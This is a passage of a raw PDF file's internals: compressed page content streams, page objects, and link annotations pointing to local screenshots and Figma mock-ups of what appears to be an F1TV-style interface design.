:7-n:n\y8\YX9\WǏЂs +#qѺMʫ!:;+m3g/* xٍBv!N487HdzfrlNV Zx ySNW-'q?az-lNwF 6ݵANْ"h Rp5_ʺqN@?RS6:X3ϲ7E\FSlnR\"1V{hw/܀76`8Ď-#Y wG|%6<ӫ ++x͍P;/bf_gk6[k2Wu䍇)cC#;Qcyh6f&oc18a7N$axᆸ5X?:NSoybAQ +&eD%e=l[M㐝ʇj`iYI {K+)cF|m@Äouu:چOCb@ $}= Ѭe8W)w7bS//q@6"i=<2(;K'5\KzGgZ:YCb[q;SX[;,L[ oC +xMçv T +$mSL/`09SR*mzqڗ\I蕱 ׍@'Kā˟O py^lѾ,fsw=Z}m'B*uI<]勵ӀRhBP(L>#J$B~f|Z|- dOfm'3A#UT;%'L)iau(Eٖpj؂ ]%%-GFf :;jO-QlʣAZKJ=a߭?0xxN*Vj[ V6VȨ\hҦPޡDms9r4a(P4*m:6}^( bQ>#zJKzT಩:9*@A l t0JxhΏbNۙ;~ҜbzTvOXe{_Av*Lu E`{;y)Z߶fPOn୍,4.uiqQ5NvAHT1ohGE%K1oG+GBơ"WL!,iGv !G8r;J7A + f ژSza ,EjGM:d9;S><^hJfT-Ƞ=ZR>~ bҸ.Jh,6srZQzCQKal"%@ҞDI97* +O%ENY xC>g渌oHDOq5FDgvQ'{]E0S:\#ʭ? Iuɾ?w'?<>;?9ۍFYIё|~K_ O.LzJZIWhTßY4 `091O3T(11T93"ЬخOt[X?#( +endstream +endobj +1196 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1195 0 R +/Resources 4 0 R +/Annots [ 1197 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1197 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV2.png) +>> +>> +endobj +1198 0 obj +<< +/Filter /FlateDecode +/Length 2840 +>> +stream +x[n#)%d |6, dM BYWE%llcƒ?__)}Q:^Bf/_^~}Qw*M~SnhV?4fq//yIn.N[pi~~u/ѱ41jKA|{sPUX_^~_xi5vHJ9mg.rxmC{f7>+s쭼ecN~Mܱo~Mkc:~ +ϯe_Zs{vVeMMv/sX\K]i-@2׵HU85i846 2+&=s{#2ϿaNQ\ |EF)n}^Y.~Wپd̾Y3Te&c{P)Tzۚ`:JoesH1Ey瓡n`ױGe!A+xt۹yģ-<k=Ve oUXFM{n鳐5p@&5|b}AW`9X<y^<͎{Hd,3&c%,3YCԪbuLUIXx 6,CWwi~}I@Iu=M3L֯Q4 _,fՐĜY~:B\kT(pDrgiޙu!I(?NZ֓F4H#@Q(2>GFl dLKmsFk㼦\5-"&1e NS(y +ExҪ8fL.&ctGY&%7H2$TBc7aAD5"du)Yn0X(A˫>qbuo OPVˆB(.ձ6ŢZ9AvlĢR\2(e$7UQ*e꼩athcfpϐ0Y<IJ%:tY٘0tGRki 4Bn+%E!a𸩊oFsZKN~K %V|F酔b9SP0`@"%pNPjrQMI|mj~0a"\K4bk8T+FPP|i̾Biy7!r\VBX1X̧)‚G;`ܪaLpmE*||m°Mw[wDšַ1ӪЄš Aa8*S (qAue +x'[mIEG֬k (39@p$tB5A;&\7)DNqؓk$w|vR^׹ܺ*/@,1sf%-y(Ovżj75HI [O lHf%sI/{u1qV$ά]zS:Xz؜Y?U8 1-\{BEV2}br;O+r\ e +cG(D;:lb9סgɞىqY1;m0fWLҳQZ:ďZ_Cƶ.zt? c^-?y0d6MwR[<⃛=T,wd]orgIM.rT垏̫u_TEKG c=*ҽ3]vT'w؍ BT@}m[1zWh©VeCQ섕LiL*êIHKp2>)&&Hzngn\Kw&<9w,F [ЫO6ޚEQ]a+16]tk܋N&^.2h#MBtR]R"`΃A=f: +̲*t*Oݬ; Zww:ɓ=8/[3y.:uIcn{ĻQ1}ή?S{kw|0 1M.LR@F]]o6a[JJ2xW **Zl<BHA^0N[ŪB#˻*͕ O[^(:̀iNΆ5bm]sL`T+3ؚ_͐ηܴ g209n}0`F9MCTWԐzdB,1ήpv+!,ؘag*JSp*Ĭ׹ ]U^> OiCϲ2 18Hf؍<tT[R!bѷ|iv!u%'gYh=?,ygOߞ#ߞOߞ'ߞlOߧTSz &n]m]LRC_C@`](hUPD|z˾1:SO*Jh5F}-nn_Ho,O}iR] ? +endstream +endobj +1199 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1198 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1200 0 obj +<< +/Filter /FlateDecode +/Length 3413 +>> +stream +xn#L h &pjk.z@Y|#(Kq.QD,#8q/ykqv~` ~Cg]šWr;-3!aPE+)=v_prYg ha?~=x ;mw!a ,~zHы0-N8ǿOx"z9c+ʘ6,(%]nۜ<iWϸVOo*;smݹys1`FKT"ua,-A\\]qq^B*CG0UKDִ& \[L$tދ\gX|O"aSA9*J{c [ "<\/a|̑EOTp^;2hy> +%h@Ay-ZJ+aHs16(JEҾ]0EX@m0N0iB6m~Uq'$dbL +7IyYR$j%] XnWB2_WB ObAb4<?;bGYurhSDv*jF2^|^Vt_5ޑ5de2ml^E|Q MмpEh #¼ety<ЃE텷/WqC')@4M+Lwƽ %M`mx|k$J,J5%G%D|1,0"FxV N0T6Lz*59sA71dJk)IL-V43rk"EEZ?cYE42'15V1A +Qz{kR+4\d#JUAC!Z{b^b[g3k0Ē-*(KZW UTf9;6B'fEkc3aX*4/BoBmwf5#ciZkB5tm$6,baA$U4vVRPISS~@cUqN"n:G7HS$o&)6#~*Wozi ШNs2^UW >ee?ޫD]&07x0(c!j$WuAmfsCõÝ 34Pvdm{~N}^^_h%%2iq6ǵ#o:]eo 0djNa0ʰ 8=?uMaZgjWcn:%Wv4ЅVTvņ'14ylV~Qmj|1c2ߐ!tp9UF6e 'YhA'&eP4` +mu{]"u9 U`t4i`NqHog]p%;`\nI2mU}۷"P+WwnQuԸuNlq@/R4qjetctjD_o-{~5v2[rCHa):`|m3nܥp5\ȸ1n1qmd܇sGa@4AgJ!_,Bft} 8:qu0!+.t`E]>jr^I7w8-:Nl_:P{\ZYl}ƮyVYo((Kj r\m*@bxn&n@fggFT٣' v0%P$x sB/RИc#] Ǵ)+ +  %ȓ`&m! "Z*qF,st~1+4Y8? Tf@Z> ͙Y QK<$-% wwiIg5⑨,@#@br^Q4 [݆iR:ٳ?9P0vfp@xyc;4>YAr|f n^X1U ˜p]XQ`FU2Ixs̹lMYYa3> W'Dd*x21lև2[)<ʙN+hמY@nYOq-![.F3$tE6ӒML%ez8a̓s&Os 7rB/7-zM¬'Cg?V۽> +endobj +1202 0 obj +<< +/Filter /FlateDecode +/Length 4000 +>> +stream +x]Kܸ?.Cd'9$pzx)Tc=dQK,)YHU"}}|HrFGv1At/ +%(Ac?/C2"HbxQJkT3KW%܁@ +9s!(d;a)E1Z凿tfR(S0= ,3=ߏk |Ky}58'݇$tz xyNs2Vy99qkؙ~W{<yx燚~Q sfM(*T^8L֍q.#5(}= &x;S]W\%!CǺӜ?/ޟ0&kP8+F0);(L5-WI'O,|Ȋ wz2Nec^+k KA°^q !|ݥ@GSӖ6- "P.`S)Y@1ַ,!~`,1 ۅv i7EKuzP`Ic6rzhr[mpz­ࢗ 8zDT[aJDsq{~+I {b8MiVZDCO'EqޙL8t̶V'3 Uc`isƍi[L tQU^On6U%yr pN٤muהb@(bT0`xGLL# +Wƃט$nL azS6U&Ǣ]ch%V!jl +0+ +eKpTU[(uYI:tЫl.HEs^XccܶD-V\VG}"LohSB5M'(j3 zծ+0#B (6NVS3x0k:.<9~9ˑFI5z)Tܗ7ZTӿI-=vֻ=Ln=ZKI(hr,2_ [$YIBȴ<϶\kkFC3CEz4ИDEk+ھZIK)UG{M4po}tmqa_ۧk[;ޚ$Jr.S&A$=啴Fab;ZbݙimzCm3.S!EM߁=mb+muw{*Cw0QeVJ];J M.mcq^{0P/`%74ǃUgchRν]q%u,T62xmoi?(Kux߃|iDەV Cp"%4f"y8n_zۂo [B4 +F`1YCA+ϣ$lZ ǿo?fd^Cv{4U*x#y0u&K).9B +pR2A;Had BQb#}FVZE5ްΑVER~q鋒~`WktK +ǦI'KBfb.:N)Z 󔜒k+ +7ɲJ퉍ro`#})~g pQ[T#v% aI,$`F5Afl3P^u'ĥ7v)"ks! ,-x;_c 5QoabsX r'c\;xyh;pA";d;F͜.Ȁ(Fa1 h.\_NkW,wp (TPߛK Le|w.]n`4Q.Pt`;8vA Dp`Fw4Rq t6bdy*wONԆ4TMdI&IFC֟QsΥs(**+lT:oSD.poű^5QQ&iN̛YepR$'S,TO\FUaR΍F U. w-Z08n9#K,/LrCWy39VxA'@ia6Yi;\ ϖQ0$UYkUß@Q9+g=!ʈ͛AgT)zdvbE>vVLj] +~#oLxγ,$JU 3~mN`5\A =pҾ 7$>σ`Cϕk ༽)N%x#ٝy2Od~LMҪcz>Vo 7~-8:tDžȣM[&(~#|[KفJmC&`{F U _gZ-=qWayZau=%' Bl+锝Oyp?X\j1)~Chiw켯 d}^*ɷm=:I-9vy3|h-JFno[v@YPx|(\>,ɾK7^(P 0щ YkX_zW{XǤwn@Z(N,\5[Vl$v6/r;?rAP|r%_ƿox{ɖfiqsV^7;–#y51;Qkbvn?q=zjέ{GadO8ݱ|O=L}ONb^|{Cdhf=ۤrm{7z=٬%-`J=g$w\>;7 ]pYe ȕދ77mw$]kC`W3>r XSgsyVۀ b\g@8/wq|uP5!w3wBRZv0o{"{󙝉>?RnXZ~X_(SY }/39qɤפGN<0KC~Ti+b.晷0MTb0!u'43@8 !W`ĉqNrz>(,sέ\5?1+ +endstream +endobj +1203 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1202 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1204 0 obj +<< +/Filter /FlateDecode +/Length 4131 +>> +stream +x]nc+yypYHr;rMu@,lVI;UEy;I F!D/1x+/6?^\|ʻk4 Ax2 R +փ5Z \}ԃRM!/߼A\M廳ޣ52X+{cfh`On^LA[?=:ӷ%O1:WN9S(s;oI'& =(9 $~1DG3M_KbP I>FKur9x"OEt~F(i~|w_J5xO}?>%Rzg 䗴!Cy c= +Nhƥ5 5QH1b\}WzӂºB/5ׂF-l$8(Tt:3^9-RXwJf\^NoO^x(G9D7QN d .g QvIe sh]ꭠ )x +G&cV}ws|~g;]{ɱk5D)koיPX9'. \G]mlׂ56vaR1 =5-t4@0V 5Q. V@Y0w|6ͣϧgzgN}2OA-j~4ǭFL7#3av龂RGjeS{jJC4%X7ݔ58fʅʳJ=֮hKBDԣ,xצoxft?h*!cC1$!!rIT!wLQHL>k=Q}ⱔ,xDmXTX%pc?|x>2JUt=BSzDyeW;A.; nruHIu*eV05=蘋1yxcYLYoQ2 +Fv gDS=W&jn(y"oP;,ݐn_f߹I\ᙝa O5ajK&.>bXKİy) 5I)EHi)]5+Q7D7IZ/@kƱZd`:nl`MQ[X3$?iDgF >@xAw|̝]0W( \~*{ݍ5eѵ;5=Փ2ṭD9W:[p2Q/`[.T-OOǻ@(nQXOM\@J,yW.l]oNJׁ\m+@hjrKAx{'Д? Q/k<\~DVJ'@*6T +Qʍ'k-]pWycŶSGZۇq[p]neRw*4ik)Ih^eY;)Б}Qoa-Zd eD]c 0(, S P0}tTm_A6D}m F[X{gKF; 9`O$rm jgGcх_@wq`63T {[ =ZE5Q +zwxp?W[Ŧ<>`Twfa/>'!!F#]5 DiWYkĥYϡQ (rJs![ .=3JIOjۯ@QEؘ#,]fW].sĨ.$:n@*CW{TV`Di[湒ctxnĨ[D9` _/A\z6E={<HYfuNG2ã[K5a5FʆEk};;K@ɢ߾W;i7 Zӥ̓(w{k4oH1bq?,xR46x[~ETL7M逤K53hc~BPW_?~,u+PS ?G?<2Yǯd +endstream +endobj +1205 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1204 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1206 0 obj +<< +/Filter /FlateDecode +/Length 3190 +>> +stream +x\MWˏ`!@8Ay;n?b7]d5חxM^zdS~?!z/)oiQ`jB] vRB FJ^8Q ~wJ^O!snOmڏ - ֿO[_˵tj\+k;v +_.s^ەfb[/wu%bf[o^dk,8^}eQF;(.mUuׁ,9t⎡ sFRjlS75dDHZƓ en3& # "m#E|A?/Fqʄ6# r}Bxepgs|W ̈tSKAUjR;4tBA,Ո8{uu0}}d9Jeg$B3k60-6\9u.Q(= JbД;\j(<P93E*oh%cB^Ȋ1:+U*~nfCP!xo@,N}0ZY*>DyjaUK4CișbAZlhyP붾xOpPWUـ&kv[4(ɭ=U[ph$ +wTP +8w;_MSz/`߯e^p"Fʪ* ŃyU1`4gY BAvzt0puԆl0tQQ`V1%dZ _j4RRj+yQAcnNqV@deGy8uU'mR+PUq SI1\i)S\dek?p] +hNJQB'!5q.qlY 5N80F!׌#ST7!4TEQUaWn[>os(3ݬGr`VWw4+q-@ײ$D;7|IƢ^iY&[*mt(Y(y3 "9,N=GTr ޣ\mSo۵FV 3 Qhŋp-b 4}f+( J+{zF(O#UMGrDB]-7~pĚZAkaPP!PdْE +BQv -Q΢TQ_`0TZF8wd9Jq@#T,I#Cy3smYu)8CmKuHmr ޿M|JLe5c[D2mήSkwy=7}?ginS(vw6d*O8ȀAZoAQnF;ٜ;k^40{:6bߣ /lCMo7RZeSך3l6Tf?p:i{9LYQq0#S6M1® :h #w:^m'púϨ&F+U;c'z/{DܳW;q[ <_]s兦Vj.f72j9ʗp|El)#oۧ} z[`.q64{Dɂluz~nu6,=R=nZy|{m;?@nܳ@Zb >C?f]ץ5.xz& +*ͯ9xX\$T!6B;]c|)ͮkTLوj5]=_ Ms m8~؆nm*_e`E]?[Tݰ;q9cau8?Rh(c EUy<Ro +L~t;4V!#ZCYM P8]IZfbLHy-U" dUF$FaT U-MkA}t3o[#aƄdvgaXPo`>?j#ËsLo͜#s1ٔ`k0յG\g<r皶A{Ndݐ&b gW-몼|Isdsh%r_ʴhO#c@n0#T xJ6 +dcC4b4_osۘ6O*GKj0^6l +dzlT(j=-E \\eօ 0{ cIVgtYf&#,K9\.79dQ0ڵbhva3ϓe.lzH9OwȲÊvZ$.`Mcc<&.i 1ĺ4 IjZ _[[ %̮׫K]QM~ZkIրJd=|a1^ivϟPKGm TF#񞿲abm҆=)]+I 0r:>N'ûW8PfcHMvBhC~vy„zg~ +#6_={}I87%xU3.3Oq]sa%A.b xQNzΚh |bė'_wݝytz訤K*;O|1T.ppyq0!Qt%R@חT UgM/>좌KєL\~' +endstream +endobj +1207 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1206 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1208 0 obj +<< +/Filter /FlateDecode +/Length 1751 +>> +stream +xYY7~_ku $$~ۄ<̱cلu?VI%4{ĻnZ ߷x-Yv;Μv4p=c.4 '<KJ1nv{ϻy!%3"Xoo_w7^:TxcRYDRWrCzl31%3=. &a%Ond3Yo߀2g&X.]e SK^v7} Hsw3W^e\}dWu1se|^x'2a=빴3qxLگV^>=O~23{ȟF=Dǯ*?CgxسZ/0όP/0b$hRCV{YJV/ M^0WHF}KBT*,*Xb}U~GH^=ZR}P]zQ[PuXi'~/DlBbt`z$PC-"su& B3)GWҦ.*D;u[SFASsSӎ-{x: #p0 ^{ՐB %!i״S.%fCQS->7jrxII'C:Z0XOC;RVV!&gGoD2: NW _EF2( G׾PsyzanL4pdʑdL^`LCh`PEu͞t2l +]H?|~Lno&}0"`7'fzFϞpq)4)Ҏ0{'$+d'Ԥ00u\ ÿ93~>v'ʁp:r]rYw~RĶ9ay +$Fq|[Pc2[$&9 P-}&q1Հ - +y95MxZh,u@'́Ѽ#2#1@h1z&E.>ҢB @FV_T:X1b/0:wmc Pc۷]C5h$Fyu}xLפFƋf u~AăY+g!:}nH T@*kuZ×> eQFASQo^)= k%88Qs̚q$$߃AT/#B6 zdyLTqT2޹ZDG v +endstream +endobj +1209 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1208 0 R +/Resources 4 0 R +/Annots [ 1210 0 R 1211 0 R 1212 0 R 1213 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1210 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 667.799622 39.386457 652.785222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/EmptyF1TV.png) +>> +>> +endobj +1211 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 667.799622 555.889134 378.073902 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/EmptyF1TV.png) +>> +>> +endobj +1212 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 378.073902 297.637795 363.059502 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/EmptyF1TV.png) +>> +>> +endobj +1213 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 102.490002 39.386457 87.475602 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11_1.png) +>> +>> +endobj +1214 0 obj +<< +/Filter /FlateDecode +/Length 1326 +>> +stream +xXM6 WTKJ>m/LE/zh,ٴg&3-|@ߡ&vL1t#/O=wdjr1d O3.v&'B222_0Ptcx9À߂q`# +!%o"KY6FY,/? f==VKb8W~?1 +A 뺹uY~s^Â?`7$% (+@!=do-Ia]籠7h]*\T6RkwQh)4{l6):U__i}kiq{v! J6X.r??]kZ0\Wmu2I_C!CՋp%+=+% [%1j-+:T6ZKJ6MS,y%Zh )VP4a)\-M&ӵ|]0˽z67~4"I#][v4:1z.71W"Y;,wK ȍ-{f-^i8`ۢW-UI>+j{eIU[,o8)*RVnD,In{5^6s3+2j{Yv:oq!gP9V:Ѫ]%[z*ѶenP"Gκ)\Ӄk(o6]9_*v;nJz&q{%&2t,T/6L^r9Ly%vɳ Z2|ګYZ[RPʰGܖӢ2ʳwz|?(/IfW~!?av TaS-ƻd؀ô ' +DžN _dHpV +endstream +endobj +1215 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1214 0 R +/Resources 4 0 R +/Annots [ 1216 0 R 1217 0 R 1218 0 R 1219 0 R 1220 0 R 1221 0 R 1222 0 R 1223 0 R 1224 0 R 1225 0 R 1226 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1216 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 120.386457 702.023622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11_1.png) +>> +>> +endobj +1217 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 702.023622 297.637795 687.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11_1.png) +>> +>> +endobj +1218 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 643.842822 39.386457 628.828422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11_2.png) +>> +>> +endobj +1219 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 643.842822 120.386457 574.842822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11_2.png) +>> +>> +endobj +1220 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 574.842822 297.637795 559.828422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11_2.png) +>> +>> +endobj +1221 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 492.263622 39.386457 477.249222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11ButLess1.png) +>> +>> +endobj +1222 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 492.263622 120.386457 423.263622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11ButLess1.png) +>> +>> +endobj +1223 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 423.263622 297.637795 408.249222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11ButLess1.png) +>> +>> +endobj +1224 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 365.082822 39.386457 350.068422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11ButLess2.png) +>> +>> +endobj +1225 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 365.082822 120.386457 296.082822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11ButLess2.png) +>> +>> +endobj +1226 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 296.082822 297.637795 281.068422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Diformed11ButLess2.png) +>> +>> +endobj +1227 0 obj +<< +/Filter /FlateDecode +/Length 2850 +>> +stream +x[K+5Wd4iFF$M^$K.ˮ$=wf5շ*};.~d<_֨[f_|I]šWr;-3!E)do2f=r.Ģ7NpvZ?6Pʝ\0a*kò:N˺^nf?~Ȭp)=blbLE$@Q/ _$~:hpcsY,pq1q2iW[JL!\k|t5HZgnq9_ͷ_GDv1ӑku W[uoo1YiNΑ|߬"scuK4qKsnuBZy;.ׯd$Wג{y%޹Ec9?z|z`U.̹j>)٬$TU!2n.@#̫Z## +s ȈPql%:Q}!\ϋ*$OIRo@τ^; ?<{HOI3ge=iQ$֙;װS&MJ qFvLJ"dKTU +:1=m1/P5RyK:5ƦaJrA4h*8Lrc@C}(!bdְU MŸowD#z\ U%/(B=a٨JD{>0e%`%,% N湑^x76TƻFk/cL%\ GI/2(ŒDy]S0u +(z%$`mHM'֬Ű"X[N)$u!(~>_uxKsgzWuE4kPY~g4A)^on۱΍K܃cnw ^ZPUl=_aMס k4TΨpkQ+lYԁ^7ըAZk?W>i&v#}~ҾcZ,hH)Yar$f:V7Om&1X +SUjǺD;y]=ofQ52R@ϖdBSא)hBpŸ{+[z+|Pk, e @&G]l?HM4`ǹ7$U0(4x~a+Q%-&9AZ(ȥ_޻Au0%3b0)Km'I,x0A@$(nNFb /GN\y/ l3N\Jr7E7nH/!%[&@RPk#$7c%X <3jK?WJ0R 6> +endobj +1229 0 obj +<< +/Filter /FlateDecode +/Length 1615 +>> +stream +xYKo6WC h{H{ dN?Pr!:AXVco^\5z?J~')Gt_~L!: +61Ycd??MOLy~F)Y)Sу#Ԝ_?NwrtIm[kHH~x)0DJ `i_ݬ~:p|+")]vI4i5]K]ظy~y^|#16ރ" 9mm[:\3YA^i>#7C\mYiwɢi͢xձQ E2KYe.lblM,=(w|yIY [H ݞr2eOѕ:7W„Q52D NH82X}&x +cQ[{Ջ" {> pzi +[}C,<E<ΎeX2g<S;Xuo\c'sWrwnF.TZ\EE׆>N K~BȷY(("—\E0^ަP SJbX5Y6@,ɶ*t31 +Myl@lq M,wrpH̢j4 5'ˢYoM:ai] +>+C`QL"z#*QGcF% rg: +L)p3uo= {2tLd"+ᏒզFtA +,w/t&(PCX@ ༀ?( `W^Yp~`[g{mgWs]pɽ#C؄0\ O ɠƳDvsa^"zM$> +endobj +1231 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 426.630822 39.386457 411.616422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SettingsWindowV1.png) +>> +>> +endobj +1232 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 426.630822 555.889134 140.334089 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SettingsWindowV1.png) +>> +>> +endobj +1233 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 140.334089 297.637795 125.319689 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SettingsWindowV1.png) +>> +>> +endobj +1234 0 obj +<< +/Filter /FlateDecode +/Length 1889 +>> +stream +xZK6 ϯ@=CClE3l.M$%KIdDȏQ朷ˉ3yI#?w,^Kk /V8&*TiP?8z,E)8G%~~:ƗOBRci-lP~>(*)Cnv#CPg9fl2LZ&EjfKh !ػ9x8uh6 ,O~oQ\oxA p۳t/_p_oP8I6?q:ϏfG;,~ue5zV~pr]󘧺vZOU$lF4d\/֢khfpdlG0qXJ +yW ־%;/RdہC4Ot}\Ե8 &Y6 DgL8+[RD !@2y&3 ΋ً|aަ1FS^ɘkэ]OxN"Qs`:FlBHS +#BSd&sHlR00ʪdDH2(#iщ9Ӽ{ZQ!y>(suUI{Ega,nJF1 auhD$(S!9tƎ+i=sM}\1Mt-09GWG:v6986Rqd %cI‰GBm?bH(9ދdy{xά_,WTvb*h$]i +=RozmS\apaZ7OYO霩3{ςEi +31gJi?fsvD3}rviRtMSi~Ϝy]3ޛvdr\i+nm 5hhEp%|V=:8][\i][DH.keZ3J=Y۝5s&ǬA?Y*@+:EiiEyߺ%"man9o[+Gl6^bK{!QZ]YF֨LQ>=Ewm9HatEI%ˡTL.DIh 5%1ΨQO6ش+ +fMz@A8BR#_ + ʈNoyzeqB+ec97M ^sdNxUEE'{oQɚy-x%em׭CuP~ T̀ +hAbdg*PUSкUjۿྤd X,,AXpokaEp{6;sn:ΰ; 3P' ZD}uPMj=w* F>Q~ -9y +QH4[tLK7qfQiuxasĤ"jIHNؑ֐>vSvι3/Tx!ohY sc^;wvɁކ?إI.hVJA>sr8Me2GaFy})KfN>)ϼq1N0J^<Դ Kx${#qYyΙܿtMHjÁCqۜczw9> +endobj +1236 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 317.143722 39.386457 302.129322 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/F1TVHIGHRES.png) +>> +>> +endobj +1237 0 obj +<< +/Filter /FlateDecode +/Length 456 +>> +stream +xSMo0WxlόT¥"dTZ%d)'Ig>{p Wef58PB=Q$sfl-2SlĒEHӷ0xuJ9XثͧjH0R,-䏢,VE{LꞞro.KA|pndLcIGxJT7?:EN"hsPbdwo7~/Xk8RTUfX{DO6 kY2=vě LPb6{6#Y,RҞGc¨ՈnyE˺ o <> aee7g`jT7t5OsŐ }&F+FlZi% мzinWj)e.N`$ V8E\nq +endstream +endobj +1238 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1237 0 R +/Resources 4 0 R +/Annots [ 1239 0 R 1240 0 R 1241 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1239 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 321.563676 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/F1TVHIGHRES.png) +>> +>> +endobj +1240 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 321.563676 297.637795 306.549276 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/F1TVHIGHRES.png) +>> +>> +endobj +1241 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 263.382876 39.386457 248.368476 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/F1TVLOWRES.png) +>> +>> +endobj +1242 0 obj +<< +/Filter /FlateDecode +/Length 1001 +>> +stream +xW͎6 S)`0!%-P=AJIEό7IюkɏGJveL0->hWgl{>?c2 r'td>L,N>yH89罉.'e쌝>|9\P35XDn&"M Dg-tv#ꌒP*Ǔ_s H \2gG9$7nXþ7? GޤEZ2Cil4;;]*MLΔ(huFj;uW;_]U:)[ItNkS'aMNT#\!HCc'BU}LT_Hrnk[X70 Nվҵ')@[LͪWGR\Th6JPr;.7*CR=iQW#!6M~& 29e@l]GhDamY+ބ}y1转/Bq[.n"6/[&>bنm xrQKou7Dfco\e;h+Dل;JZ7S8u΁cs5pׯiٿ*$,)ہV @I凫cVUExU)_L9T &OiԁA>wmmˆN} +endstream +endobj +1243 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1242 0 R +/Resources 4 0 R +/Annots [ 1244 0 R 1245 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1244 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 265.935369 ] +/BS << +/W 0 +>> +/A << 